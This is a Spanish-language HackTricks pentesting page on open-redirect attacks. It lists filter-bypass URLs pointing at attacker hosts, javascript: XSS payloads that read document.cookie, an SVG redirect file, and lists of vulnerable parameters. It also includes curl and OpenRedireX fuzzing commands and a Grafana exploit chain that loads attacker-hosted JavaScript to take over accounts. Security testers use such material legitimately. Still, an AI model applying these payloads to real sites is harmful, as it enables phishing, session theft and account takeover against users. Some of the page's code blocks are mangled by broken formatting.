Open Redirect
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Open redirect
Redirigir a localhost u dominios arbitrarios
- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
- Variantes de loopback IPv4: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- Variantes de loopback IPv6: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- Punto final y distinción de mayúsculas: localhost., LOCALHOST, 127.0.0.1.
- DNS wildcard que resuelve a loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Estos son útiles cuando solo se permiten “subdomains of X” pero la resolución del host sigue apuntando a 127.0.0.1.
- Referencias con ruta de red a menudo evaden validadores ingenuos que anteponen un esquema o solo verifican prefijos:
- //attacker.tld → interpretado como relativo al esquema y navega fuera del sitio con el esquema actual.
- Trucos de userinfo evaden comprobaciones contains/startswith contra hosts de confianza:
- https://trusted.tld@attacker.tld/ → el navegador navega a attacker.tld pero simples comprobaciones de cadena “ven” trusted.tld.
- Confusión por parsing de backslash entre frameworks/navegadores:
- https://trusted.tld@attacker.tld → algunos backends tratan “\” como un char de ruta y pasan la validación; los navegadores normalizan a “/” e interpretan trusted.tld como userinfo, enviando a los usuarios a attacker.tld. Esto también aparece en desajustes del parser de URL de Node/PHP.
Modern open-redirect to XSS pivots
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Payloads de bypass basados en URL más modernos
```text # Scheme-relative (current scheme is reused) //evil.exampleCredentials (userinfo) trick
https://trusted.example@evil.example/
Backslash confusion (server validates, browser normalizes)
https://trusted.example@evil.example/
Schemeless with whitespace/control chars
evil.example%00 %09//evil.example
Prefix/suffix matching flaws
https://trusted.example.evil.example/ https://evil.example/trusted.example
When only path is accepted, try breaking absolute URL detection
/\evil.example /..//evil.example
</details>
## Open Redirect subiendo archivos svg
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
Parámetros de inyección comunes
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
Ejemplos de código
.Net
response.redirect("~/mysafe-subdomain/login.aspx")
Java
response.redirect("http://mysafedomain.com");
PHP
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
Flujo de búsqueda y explotación (práctico)
- Comprobación de una sola URL con curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
- Descubrir y fuzz parámetros probables a gran escala:
Haga clic para expandir
```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler2) Grep common parameters and normalize list
rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt
3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
4) Manually verify interesting hits
awk ‘/30[1237]|Location:/I’ results.txt
</details>
- No olvides los client-side sinks en SPAs: busca window.location/assign/replace y helpers del framework que lean query/hash y redirijan.
- Los frameworks a menudo introducen footguns cuando los destinos de redirección se derivan de entrada no confiable (query params, Referer, cookies). Consulta las notas de Next.js sobre redirects y evita destinos dinámicos derivados de la entrada del usuario.
<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>
- OAuth/OIDC flows: abusar de open redirectors frecuentemente escala a account takeover mediante leaking authorization codes/tokens. Consulta la guía dedicada:
<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>
- Las respuestas del servidor que implementan redirects sin Location (meta refresh/JavaScript) siguen siendo explotables para phishing y a veces pueden encadenarse. Grep para:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
Fragment smuggling + client-side traversal chain (Grafana-style bypass)
- Fallo en el lado del servidor (Go
url.Parse+ raw redirect): Los validadores que solo inspeccionanURL.Pathe ignoranURL.Fragmentpueden ser engañados colocando el host externo después de#. Si el handler luego construyeLocationa partir de la cadena no sanitizada, los fragmentos leak de nuevo en el redirect target. Ejemplo contra/user/auth-tokens/rotate: - Request:
GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1 - El parsing ve
Path=/yFragment=/..//\//attacker.com, así que regex +path.Clean()aprueban/, pero la respuesta emiteLocation: /\//attacker.com, comportándose como un open redirect. - Fallo del lado cliente (validate decoded/cleaned, return original): Los helpers de SPA que decodifican completamente una ruta (incluyendo
?doblemente codificado), quitan la query para validación, pero luego devuelven la cadena original permiten que../codificado sobreviva. La decodificación posterior del navegador lo convierte en un traversal hacia cualquier same-origin endpoint (p. ej., el redirect gadget). Payload pattern: /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate- El validador comprueba
/dashboard/script/(sin..), devuelve la cadena codificada, y el navegador navega a/user/auth-tokens/rotate. - End-to-end XSS/ATO: encadena el traversal con el fragment-smuggled redirect para forzar al dashboard script loader a fetchear el JS del atacante:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
- El path traversal llega al rotate endpoint, que emite un 302 a
attacker.com/module.jsdesde el fragmento smuggledredirectTo. Asegúrate de que el attacker origin sirva JS con CORS permisivo para que el navegador lo ejecute, provocando session theft/account takeover.
Herramientas
- https://github.com/0xNanda/Oralyzer
- OpenRedireX – fuzzer para detectar open redirects. Ejemplo:
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
Referencias
- En https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect puedes encontrar listas de fuzzing.
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX – Un fuzzer para detectar open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
- Grafana CVE-2025-6023 redirect + traversal bypass chain
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


